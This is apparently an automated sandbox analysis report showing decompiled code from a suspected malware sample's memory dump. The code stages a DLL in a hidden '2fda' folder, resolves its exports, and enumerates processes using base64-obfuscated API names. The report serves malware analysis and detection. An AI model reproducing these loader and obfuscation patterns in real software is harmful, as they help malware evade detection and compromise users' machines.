Opcode Fuzzy Hash: 3dabca578a80f5a72b4bbe57d97a85dc37324ae0374c3875346d0a4ab4ac3a91
Instruction Fuzzy Hash: DA91D9B06402049FD712EF69D885B9A37E8BF4A349F00847AF404EB7A6C778AD44CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409664, Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 230
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00409664(char __eax, void* __ebx, void* __edx, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v117;
				void* _t33;
				intOrPtr* _t36;
				struct HINSTANCE__* _t48;
				intOrPtr* _t54;
				intOrPtr* _t59;
				intOrPtr* _t64;
				intOrPtr* _t69;
				intOrPtr* _t74;
				intOrPtr* _t79;
				intOrPtr* _t84;
				intOrPtr* _t89;
				intOrPtr* _t94;
				intOrPtr* _t99;
				intOrPtr* _t104;
				intOrPtr* _t109;
				intOrPtr* _t114;
				intOrPtr* _t131;
				intOrPtr* _t133;
				intOrPtr _t143;
				intOrPtr _t152;
				intOrPtr _t153;

				asm("das");
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				_t1 =  &_v117;
				 *_t1 = _v117 + __edx;
				_t153 =  *_t1;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_v8 = __eax;
				E00403980(_v8);
				_push(_t152);
				_push(0x409963);
				_push( *[fs:eax]);
				 *[fs:eax] = _t152;
				 *0x41b0d8 = 0;
				E004062FC(L"%TEMP%\\2fda\\",  &_v12, _t153);
				E00403C18(0x41ca5c, _v12);
				CreateDirectoryW(E00403D98( *0x41ca5c), 0); // executed
				E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t153);
				_t131 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v16,  *_t131,  *0x41ca5c, _t153);
				_t33 = E0040776C(_v16, 0x41ca58,  *_t131); // executed
				_t154 = _t33;
				if(_t33 == 0) {
					E004062FC(L"%appdata%\\2fda\\",  &_v20, _t154);
					E00403C18(0x41ca5c, _v20);
					CreateDirectoryW(E00403D98( *0x41ca5c), 0);
					E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t154);
				}
				_t36 =  *0x41b3ac; // 0x41c6ac
				 *((intOrPtr*)( *_t36))(L"PATH", E00403D98( *0x41ca5c));
				SetCurrentDirectoryW(E00403D98( *0x41ca5c)); // executed
				_t133 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v24,  *_t133,  *0x41ca5c, _t154);
				_t48 = LoadLibraryExW(E00403D98(_v24), 0, 8); // executed
				 *0x41ca58 = _t48;
				if( *0x41ca58 != 0) {
					_t54 =  *0x41b37c; // 0x41c994
					 *0x41ca20 = GetProcAddress( *0x41ca58, E00403990( *_t54));
					_t59 =  *0x41b42c; // 0x41c998
					 *0x41ca24 = GetProcAddress( *0x41ca58, E00403990( *_t59));
					_t64 =  *0x41b14c; // 0x41c99c
					 *0x41ca28 = GetProcAddress( *0x41ca58, E00403990( *_t64));
					_t69 =  *0x41b214; // 0x41c9a0
					 *0x41ca2c = GetProcAddress( *0x41ca58, E00403990( *_t69));
					_t74 =  *0x41b418; // 0x41c9a4
					 *0x41ca30 = GetProcAddress( *0x41ca58, E00403990( *_t74));
					_t79 =  *0x41b2a4; // 0x41c9a8
					 *0x41ca34 = GetProcAddress( *0x41ca58, E00403990( *_t79));
					_t84 =  *0x41b328; // 0x41c9ac
					 *0x41ca38 = GetProcAddress( *0x41ca58, E00403990( *_t84));
					_t89 =  *0x41b318; // 0x41c7d8
					 *0x41ca3c = GetProcAddress( *0x41ca58, E00403990( *_t89));
					_t94 =  *0x41b2bc; // 0x41c7dc
					 *0x41ca40 = GetProcAddress( *0x41ca58, E00403990( *_t94));
					_t99 =  *0x41b408; // 0x41c7e0
					 *0x41ca44 = GetProcAddress( *0x41ca58, E00403990( *_t99));
					_t104 =  *0x41b3b8; // 0x41c7e4
					 *0x41ca48 = GetProcAddress( *0x41ca58, E00403990( *_t104));
					_t109 =  *0x41b2f0; // 0x41c7e8
					 *0x41ca4c = GetProcAddress( *0x41ca58, E00403990( *_t109));
					_t114 =  *0x41b48c; // 0x41c7ec
					 *0x41ca50 = GetProcAddress( *0x41ca58, E00403990( *_t114));
					if( *0x41ca20 != 0 &&  *0x41ca24 != 0 &&  *0x41ca28 != 0 &&  *0x41ca2c != 0 &&  *0x41ca30 != 0 &&  *0x41ca34 != 0 &&  *0x41ca38 != 0 &&  *0x41ca3c != 0 &&  *0x41ca40 != 0 &&  *0x41ca44 != 0 &&  *0x41ca48 != 0 &&  *0x41ca4c != 0 &&  *0x41ca50 != 0) {
						 *0x41b0d8 = 1;
					}
				}
				_pop(_t143);
				 *[fs:eax] = _t143;
				_push(E0040996A);
				E00403BF4( &_v24, 4);
				return E004034E4( &_v8);
			}

0x00409664
0x00409665
0x00409667
0x00409667
0x00409667
0x0040966d
0x0040966e
0x0040966f
0x00409670
0x00409671
0x00409672
0x00409674
0x0040967a
0x0040968b
0x0040968c
0x00409691
0x00409694
0x00409697
0x004096a6
0x004096b0
0x004096bf
0x004096c9
0x004096ce
0x004096db
0x004096e3
0x004096e8
0x004096ea
0x004096f4
0x004096fe
0x0040970d
0x00409717
0x00409717
0x00409729
0x00409730
0x00409741
0x00409747
0x00409754
0x00409762
0x00409767
0x0040976c
0x00409772
0x00409787
0x0040978c
0x004097a1
0x004097a6
0x004097bb
0x004097c0
0x004097d5
0x004097da
0x004097ef
0x004097f4
0x00409809
0x0040980e
0x00409823
0x00409828
0x0040983d
0x00409842
0x00409857
0x0040985c
0x00409871
0x00409876
0x0040988b
0x00409890
0x004098a5
0x004098aa
0x004098bf
0x004098cb
0x00409939
0x00409939
0x004098cb
0x00409942
0x00409945
0x00409948
0x00409955
0x00409962

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?), ref: 004096BF

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6), ref: 0040970D
SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?,00000000), ref: 00409741
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?), ref: 00409762
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409782
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040979C
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097B6
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097D0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097EA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409804
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040981E
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409838
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409852
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040986C
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409886
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098A0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098BA

Strings

%appdata%\2fda\, xrefs: 004096EF
%TEMP%\2fda\, xrefs: 004096A1
PATH, xrefs: 00409724

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$Directory$Create$AllocAttributesCurrentFileLibraryLoadString
String ID: %TEMP%\2fda\$%appdata%\2fda\$PATH
API String ID: 2652973473-1556614757
Opcode ID: a16eaeec054c51931e14f5265a1c09e3020d9e051cf30a86899ec13f16d3cac9
Instruction ID: 5b3c55801863a32800eae0c5f30943bce4d4c5d0b2659c2e20ef893ba67f7cd3
Opcode Fuzzy Hash: a16eaeec054c51931e14f5265a1c09e3020d9e051cf30a86899ec13f16d3cac9
Instruction Fuzzy Hash: A991E8B06402049FD711EF69D885F9A37E8BF49349F00847AB404EB7A6C778AD44CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00409668, Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 228
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00409668(char __eax, void* __ebx, void* __esi, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _t31;
				intOrPtr* _t34;
				struct HINSTANCE__* _t46;
				intOrPtr* _t52;
				intOrPtr* _t57;
				intOrPtr* _t62;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t77;
				intOrPtr* _t82;
				intOrPtr* _t87;
				intOrPtr* _t92;
				intOrPtr* _t97;
				intOrPtr* _t102;
				intOrPtr* _t107;
				intOrPtr* _t112;
				intOrPtr* _t129;
				intOrPtr* _t131;
				intOrPtr _t140;
				intOrPtr _t149;
				void* _t150;

				_t150 = __eflags;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_v8 = __eax;
				E00403980(_v8);
				_push(_t149);
				_push(0x409963);
				_push( *[fs:eax]);
				 *[fs:eax] = _t149;
				 *0x41b0d8 = 0;
				E004062FC(L"%TEMP%\\2fda\\",  &_v12, _t150);
				E00403C18(0x41ca5c, _v12);
				CreateDirectoryW(E00403D98( *0x41ca5c), 0); // executed
				E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t150);
				_t129 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v16,  *_t129,  *0x41ca5c, _t150);
				_t31 = E0040776C(_v16, 0x41ca58,  *_t129); // executed
				_t151 = _t31;
				if(_t31 == 0) {
					E004062FC(L"%appdata%\\2fda\\",  &_v20, _t151);
					E00403C18(0x41ca5c, _v20);
					CreateDirectoryW(E00403D98( *0x41ca5c), 0);
					E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t151);
				}
				_t34 =  *0x41b3ac; // 0x41c6ac
				 *((intOrPtr*)( *_t34))(L"PATH", E00403D98( *0x41ca5c));
				SetCurrentDirectoryW(E00403D98( *0x41ca5c)); // executed
				_t131 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v24,  *_t131,  *0x41ca5c, _t151);
				_t46 = LoadLibraryExW(E00403D98(_v24), 0, 8); // executed
				 *0x41ca58 = _t46;
				if( *0x41ca58 != 0) {
					_t52 =  *0x41b37c; // 0x41c994
					 *0x41ca20 = GetProcAddress( *0x41ca58, E00403990( *_t52));
					_t57 =  *0x41b42c; // 0x41c998
					 *0x41ca24 = GetProcAddress( *0x41ca58, E00403990( *_t57));
					_t62 =  *0x41b14c; // 0x41c99c
					 *0x41ca28 = GetProcAddress( *0x41ca58, E00403990( *_t62));
					_t67 =  *0x41b214; // 0x41c9a0
					 *0x41ca2c = GetProcAddress( *0x41ca58, E00403990( *_t67));
					_t72 =  *0x41b418; // 0x41c9a4
					 *0x41ca30 = GetProcAddress( *0x41ca58, E00403990( *_t72));
					_t77 =  *0x41b2a4; // 0x41c9a8
					 *0x41ca34 = GetProcAddress( *0x41ca58, E00403990( *_t77));
					_t82 =  *0x41b328; // 0x41c9ac
					 *0x41ca38 = GetProcAddress( *0x41ca58, E00403990( *_t82));
					_t87 =  *0x41b318; // 0x41c7d8
					 *0x41ca3c = GetProcAddress( *0x41ca58, E00403990( *_t87));
					_t92 =  *0x41b2bc; // 0x41c7dc
					 *0x41ca40 = GetProcAddress( *0x41ca58, E00403990( *_t92));
					_t97 =  *0x41b408; // 0x41c7e0
					 *0x41ca44 = GetProcAddress( *0x41ca58, E00403990( *_t97));
					_t102 =  *0x41b3b8; // 0x41c7e4
					 *0x41ca48 = GetProcAddress( *0x41ca58, E00403990( *_t102));
					_t107 =  *0x41b2f0; // 0x41c7e8
					 *0x41ca4c = GetProcAddress( *0x41ca58, E00403990( *_t107));
					_t112 =  *0x41b48c; // 0x41c7ec
					 *0x41ca50 = GetProcAddress( *0x41ca58, E00403990( *_t112));
					if( *0x41ca20 != 0 &&  *0x41ca24 != 0 &&  *0x41ca28 != 0 &&  *0x41ca2c != 0 &&  *0x41ca30 != 0 &&  *0x41ca34 != 0 &&  *0x41ca38 != 0 &&  *0x41ca3c != 0 &&  *0x41ca40 != 0 &&  *0x41ca44 != 0 &&  *0x41ca48 != 0 &&  *0x41ca4c != 0 &&  *0x41ca50 != 0) {
						 *0x41b0d8 = 1;
					}
				}
				_pop(_t140);
				 *[fs:eax] = _t140;
				_push(E0040996A);
				E00403BF4( &_v24, 4);
				return E004034E4( &_v8);
			}

0x00409668
0x0040966d
0x0040966e
0x0040966f
0x00409670
0x00409671
0x00409672
0x00409674
0x0040967a
0x0040968b
0x0040968c
0x00409691
0x00409694
0x00409697
0x004096a6
0x004096b0
0x004096bf
0x004096c9
0x004096ce
0x004096db
0x004096e3
0x004096e8
0x004096ea
0x004096f4
0x004096fe
0x0040970d
0x00409717
0x00409717
0x00409729
0x00409730
0x00409741
0x00409747
0x00409754
0x00409762
0x00409767
0x0040976c
0x00409772
0x00409787
0x0040978c
0x004097a1
0x004097a6
0x004097bb
0x004097c0
0x004097d5
0x004097da
0x004097ef
0x004097f4
0x00409809
0x0040980e
0x00409823
0x00409828
0x0040983d
0x00409842
0x00409857
0x0040985c
0x00409871
0x00409876
0x0040988b
0x00409890
0x004098a5
0x004098aa
0x004098bf
0x004098cb
0x00409939
0x00409939
0x004098cb
0x00409942
0x00409945
0x00409948
0x00409955
0x00409962

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?), ref: 004096BF

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6), ref: 0040970D
SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?,00000000), ref: 00409741
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?), ref: 00409762
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409782
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040979C
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097B6
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097D0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097EA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409804
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040981E
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409838
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409852
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040986C
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409886
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098A0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098BA

Strings

%appdata%\2fda\, xrefs: 004096EF
%TEMP%\2fda\, xrefs: 004096A1
PATH, xrefs: 00409724

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$Directory$Create$AllocAttributesCurrentFileLibraryLoadString
String ID: %TEMP%\2fda\$%appdata%\2fda\$PATH
API String ID: 2652973473-1556614757
Opcode ID: ce2ff15e378b2bb7b4fef2ac6f55289aba182e4e6d2a742e5fc03b537afcb1c4
Instruction ID: 26c99af69019636de113f168175dae5416f6f3cc59ad43c6f3cb6d4c520b39b5
Opcode Fuzzy Hash: ce2ff15e378b2bb7b4fef2ac6f55289aba182e4e6d2a742e5fc03b537afcb1c4
Instruction Fuzzy Hash: A191D7B06402049FD711EF69D885F9A77E8BF49349F00847AB404EB7A6C778AD44CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00416288, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 216
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00416288(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				long _v12;
				signed int _v16;
				char _v17;
				char _v24;
				char _v28;
				void* _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				signed int _t109;
				signed int _t110;
				CHAR* _t115;
				CHAR* _t121;
				CHAR* _t127;
				void* _t136;
				void* _t139;
				void* _t143;
				void* _t171;
				signed int _t172;
				void* _t173;
				struct tagPROCESSENTRY32W* _t174;
				signed int _t184;
				int _t191;
				void* _t194;
				signed int _t195;
				signed int _t196;
				intOrPtr _t215;
				intOrPtr _t217;
				signed int _t230;
				_Unknown_base(*)()* _t240;
				signed int _t241;
				signed int _t243;
				void* _t244;
				void* _t247;
				intOrPtr _t248;

				_t239 = __esi;
				_t109 = __eax +  *__eax;
				 *_t109 =  *_t109 + _t109;
				_t110 = _t109 | 0x5500000a;
				_t246 = _t247;
				_t248 = _t247 + 0xfffffda0;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v596 = 0;
				_v600 = 0;
				_v592 = 0;
				_v588 = 0;
				_v8 = 0;
				_v24 = 0;
				_v16 = _t110;
				_push(_t247);
				_push(0x4165c6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t248;
				E004069A8("Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90", __ebx,  &_v588, __edi, __esi);
				_t115 = E00403990(_v588);
				E004069A8("UHJvY2VzczMyRmlyc3RX", GetProcAddress(LoadLibraryA("kernel32.dll"), _t115),  &_v592, __edi, __esi);
				_t121 = E00403990(_v592);
				_t236 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t121);
				E004069A8("UHJvY2VzczMyTmV4dFc=", _t117,  &_v596, _t123, __esi);
				_t127 = E00403990(_v596);
				E004069A8("a2VybmVsMzIuZGxs", _t117,  &_v600, _t123, _t239);
				_t240 = GetProcAddress(LoadLibraryA(E00403990(_v600)), _t127);
				E004034E4(_v16);
				_t136 = CreateToolhelp32Snapshot(2, 0); // executed
				_t194 = _t136;
				if(_t194 != 0xffffffff) {
					_v584 = 0x22c;
					_t174 =  &_v584;
					Process32FirstW(_t194, _t174); // executed
					if(_t174 != 0) {
						do {
							_push(E00404648(_v8) + 1);
							E00404804();
							_t184 = E00404648(_v8);
							_t244 =  &_v584;
							memcpy(_v8 + _t184 * 0x8b * 4 - 0x22c, _t244, 0x8b << 2);
							_t248 = _t248 + 0x10;
							_t236 = _t244 + 0x116;
							_t240 = _t240;
							 *((intOrPtr*)(_v8 + E00404648(_v8) * 0x8b * 4 - 0x20c)) = 0;
							_t191 = Process32NextW(_t194,  &_v584); // executed
						} while (_t191 != 0);
					}
					FindCloseChangeNotification(_t194); // executed
				}
				_t139 = E00404648(_v8) - 1;
				if(_t139 >= 0) {
					_v28 = _t139 + 1;
					_t196 = 0;
					do {
						_v17 = 1;
						_t171 = E00404648(_v8) - 1;
						if(_t171 >= 0) {
							_t173 = _t171 + 1;
							_t230 = 0;
							do {
								_t43 = _t196 * 0x8b * 4; // 0x0
								_t243 = _t230 * 0x8b;
								_t236 = _v8;
								_t47 = _t243 * 4; // 0x1ffff
								if( *((intOrPtr*)(_v8 + _t43 + 0x18)) ==  *((intOrPtr*)(_v8 + _t47 + 8))) {
									_v17 = 0;
								}
								_t230 = _t230 + 1;
								_t173 = _t173 - 1;
							} while (_t173 != 0);
						}
						_t172 = _t196 * 0x8b;
						_t52 = _t172 * 4; // 0x0
						_t56 = _t172 * 4; // 0x1ffff
						if( *((intOrPtr*)(_v8 + _t52 + 0x18)) ==  *((intOrPtr*)(_v8 + _t56 + 8))) {
							_v17 = 1;
						}
						if(_v17 == 1) {
							 *((intOrPtr*)(_v8 + 0x20 + _t172 * 4)) = 1;
						}
						_t196 = _t196 + 1;
						_t64 =  &_v28;
						 *_t64 = _v28 - 1;
					} while ( *_t64 != 0);
				}
				_v12 = GetCurrentProcessId();
				_t143 = E00404648(_v8) - 1;
				if(_t143 >= 0) {
					_v28 = _t143 + 1;
					_t195 = 0;
					do {
						_t241 = _t195 * 0x8b;
						if( *((intOrPtr*)(_v8 + 0x20 + _t241 * 4)) == 1) {
							_t75 = _t241 * 4; // 0x1ffff
							if( *((intOrPtr*)(_v8 + _t75 + 8)) != _v12) {
								_push(_v24);
								_t90 = _t241 * 4; // 0x0
								E00403760( &_v608, 0x104, _v8 + _t90 + 0x24);
								_push(_v608);
								_push(E00416680);
								E00403850();
							} else {
								_push(_v24);
								_t82 = _t241 * 4; // 0x0
								E00403760( &_v604, 0x104, _v8 + _t82 + 0x24);
								_push(_v604);
								_push(0x416674);
								_push(E00416680);
								E00403850();
							}
							_t96 = _t195 * 0x8b * 4; // 0x1ffff
							E004160EC( *((intOrPtr*)(_v8 + _t96 + 8)), _t195,  &_v612, 1, _t236, _t241, _t246);
							E00403798( &_v24, _v612);
						}
						E00403538(_v16, _v24);
						_t195 = _t195 + 1;
						_t103 =  &_v28;
						 *_t103 = _v28 - 1;
					} while ( *_t103 != 0);
				}
				_pop(_t215);
				 *[fs:eax] = _t215;
				_push(E004165CD);
				E00403508( &_v612, 7);
				E004034E4( &_v24);
				_t217 =  *0x4160c4; // 0x4160c8
				return E00404810( &_v8, _t217);
			}

0x00416288
0x00416288
0x0041628a
0x0041628c
0x00416291
0x00416293
0x00416299
0x0041629a
0x0041629b
0x0041629e
0x004162a4
0x004162aa
0x004162b0
0x004162b6
0x004162bc
0x004162c2
0x004162c8
0x004162cb
0x004162ce
0x004162d3
0x004162d4
0x004162d9
0x004162dc
0x004162ea
0x004162f5
0x00416318
0x00416323
0x00416339
0x00416346
0x00416351
0x00416362
0x0041637e
0x00416383
0x0041638c
0x0041638e
0x00416393
0x00416399
0x004163a3
0x004163ab
0x004163af
0x004163b1
0x004163ba
0x004163c9
0x004163d4
0x004163ea
0x004163f5
0x004163f5
0x004163f5
0x004163f7
0x0041640b
0x0041641a
0x0041641c
0x004163b1
0x00416428
0x00416428
0x00416432
0x00416435
0x00416438
0x0041643b
0x0041643d
0x0041643d
0x00416449
0x0041644c
0x0041644e
0x0041644f
0x00416451
0x0041645a
0x0041645e
0x00416464
0x00416467
0x0041646b
0x0041646d
0x0041646d
0x00416471
0x00416472
0x00416472
0x00416451
0x00416475
0x0041647e
0x00416485
0x00416489
0x0041648b
0x0041648b
0x00416493
0x00416498
0x00416498
0x004164a0
0x004164a1
0x004164a1
0x004164a1
0x0041643d
0x004164ab
0x004164b6
0x004164b9
0x004164c0
0x004164c3
0x004164c5
0x004164c5
0x004164d3
0x004164dc
0x004164e3
0x0041651e
0x0041652a
0x00416533
0x00416538
0x0041653e
0x0041654b
0x004164e5
0x004164e5
0x004164f1
0x004164fa
0x004164ff
0x00416505
0x0041650a
0x00416517
0x00416517
0x0041655a
0x00416569
0x00416578
0x00416578
0x00416583
0x00416588
0x00416589
0x00416589
0x00416589
0x004164c5
0x00416594
0x00416597
0x0041659a
0x004165aa
0x004165b2
0x004165ba
0x004165c5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB
Process32NextW.KERNEL32(00000000,?), ref: 0041641A
FindCloseChangeNotification.KERNEL32(00000000), ref: 00416428
GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,,?,Zone: ,?,00416CA4), ref: 004164A6

Strings

Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 004162E5
UHJvY2VzczMyRmlyc3RX, xrefs: 00416313
kernel32.dll, xrefs: 004162FB, 00416329
UHJvY2VzczMyTmV4dFc=, xrefs: 00416341
a2VybmVsMzIuZGxs, xrefs: 0041635D

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc$Process32$ChangeCloseCreateCurrentFindFirstNextNotificationProcessSnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 1800246685-4127804628
Opcode ID: ae3f1d833a6c7c3170d61cd8e2f29c2b0955221a86435c38e8620c46d6427da7
Instruction ID: 8191d344cd349c88f577da4185e159338671ce922f6aa283bd2b5e25c2800bc5
Opcode Fuzzy Hash: ae3f1d833a6c7c3170d61cd8e2f29c2b0955221a86435c38e8620c46d6427da7
Instruction Fuzzy Hash: E091A5709001199BCB10EFA9C985ADEB7B9FF84304F1181BAE508B7291D739DF858F98

Uniqueness

Uniqueness Score: -1.00%

Function 0041628C, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 214
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041628C(signed int __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				long _v12;
				signed int _v16;
				char _v17;
				char _v24;
				char _v28;
				void* _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				signed int _t109;
				CHAR* _t114;
				CHAR* _t120;
				CHAR* _t126;
				void* _t135;
				void* _t138;
				void* _t142;
				void* _t170;
				signed int _t171;
				void* _t172;
				struct tagPROCESSENTRY32W* _t173;
				signed int _t183;
				int _t190;
				void* _t193;
				signed int _t194;
				signed int _t195;
				intOrPtr _t214;
				intOrPtr _t216;
				signed int _t229;
				_Unknown_base(*)()* _t239;
				signed int _t240;
				signed int _t242;
				void* _t243;
				void* _t246;
				intOrPtr _t247;

				_t238 = __esi;
				_t109 = __eax | 0x5500000a;
				_t245 = _t246;
				_t247 = _t246 + 0xfffffda0;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v596 = 0;
				_v600 = 0;
				_v592 = 0;
				_v588 = 0;
				_v8 = 0;
				_v24 = 0;
				_v16 = _t109;
				_push(_t246);
				_push(0x4165c6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t247;
				E004069A8("Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90", __ebx,  &_v588, __edi, __esi);
				_t114 = E00403990(_v588);
				E004069A8("UHJvY2VzczMyRmlyc3RX", GetProcAddress(LoadLibraryA("kernel32.dll"), _t114),  &_v592, __edi, __esi);
				_t120 = E00403990(_v592);
				_t235 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t120);
				E004069A8("UHJvY2VzczMyTmV4dFc=", _t116,  &_v596, _t122, __esi);
				_t126 = E00403990(_v596);
				E004069A8("a2VybmVsMzIuZGxs", _t116,  &_v600, _t122, _t238);
				_t239 = GetProcAddress(LoadLibraryA(E00403990(_v600)), _t126);
				E004034E4(_v16);
				_t135 = CreateToolhelp32Snapshot(2, 0); // executed
				_t193 = _t135;
				if(_t193 != 0xffffffff) {
					_v584 = 0x22c;
					_t173 =  &_v584;
					Process32FirstW(_t193, _t173); // executed
					if(_t173 != 0) {
						do {
							_push(E00404648(_v8) + 1);
							E00404804();
							_t183 = E00404648(_v8);
							_t243 =  &_v584;
							memcpy(_v8 + _t183 * 0x8b * 4 - 0x22c, _t243, 0x8b << 2);
							_t247 = _t247 + 0x10;
							_t235 = _t243 + 0x116;
							_t239 = _t239;
							 *((intOrPtr*)(_v8 + E00404648(_v8) * 0x8b * 4 - 0x20c)) = 0;
							_t190 = Process32NextW(_t193,  &_v584); // executed
						} while (_t190 != 0);
					}
					FindCloseChangeNotification(_t193); // executed
				}
				_t138 = E00404648(_v8) - 1;
				if(_t138 >= 0) {
					_v28 = _t138 + 1;
					_t195 = 0;
					do {
						_v17 = 1;
						_t170 = E00404648(_v8) - 1;
						if(_t170 >= 0) {
							_t172 = _t170 + 1;
							_t229 = 0;
							do {
								_t43 = _t195 * 0x8b * 4; // 0x0
								_t242 = _t229 * 0x8b;
								_t235 = _v8;
								_t47 = _t242 * 4; // 0x1ffff
